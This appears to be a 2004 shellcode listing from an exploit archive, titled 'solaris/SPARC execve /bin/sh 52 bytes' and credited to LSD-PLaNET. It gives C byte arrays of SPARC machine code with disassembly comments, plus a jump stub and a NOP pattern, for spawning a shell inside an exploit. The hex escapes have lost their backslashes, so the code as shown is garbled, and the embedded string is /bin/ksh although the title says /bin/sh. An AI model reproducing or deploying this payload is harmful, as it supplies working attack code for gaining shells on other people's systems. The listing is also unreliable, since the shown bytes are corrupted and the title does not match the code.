solaris/SPARC execve /bin/sh 52 bytes

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : solaris/SPARC execve /bin/sh 52 bytes
# Published : 2004-09-26
# Author : LSD-PLaNET
# Previous Title : os-x/PPC execve /usr/X11R6/bin/xterm 141 bytes
# Next Title : solaris/SPARC portbind port 6789 228 bytes

//Solaris/Sparc - LSD
char shellcode[]=
    "x20xbfxffxff"     /* bn,a    <shellcode-4>        */
    "x20xbfxffxff"     /* bn,a    <shellcode>          */
    "x7fxffxffxff"     /* call    <shellcode+4>        */
    "x90x03xe0x20"     /* add     %o7,32,%o0           */
    "x92x02x20x10"     /* add     %o0,16,%o1           */
    "xc0x22x20x08"     /* st      %g0,[%o0+8]          */
    "xd0x22x20x10"     /* st      %o0,[%o0+16]         */
    "xc0x22x20x14"     /* st      %g0,[%o0+20]         */
    "x82x10x20x0b"     /* mov     0xb,%g1              */
    "x91xd0x20x08"     /* ta      8                    */
    "/bin/ksh"
;

char jump[]=
    "x81xc3xe0x08"     /* jmp     %o7+8                */
    "x90x10x00x0e"     /* mov     %sp,%o0              */
;

static char nop[]="x80x1cx40x11";

# www.Syue.com [2004-09-26]